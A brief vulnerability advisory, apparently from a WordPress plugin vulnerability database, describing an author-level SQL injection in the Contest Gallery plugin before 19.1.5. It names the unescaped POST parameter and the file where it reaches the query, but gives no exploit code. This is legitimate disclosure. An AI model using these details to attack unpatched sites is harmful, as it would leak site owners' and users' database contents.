WordPress Plugin Vulnerabilities
Contest Gallery < 19.1.5 - Author+ SQL Injection
Description
The plugins do not escape the cg_multiple_files_for_post POST parameter before concatenating it to an SQL query in 0_change-gallery.php. This may allow malicious users with at least author privilege to leak sensitive information from the site's database.
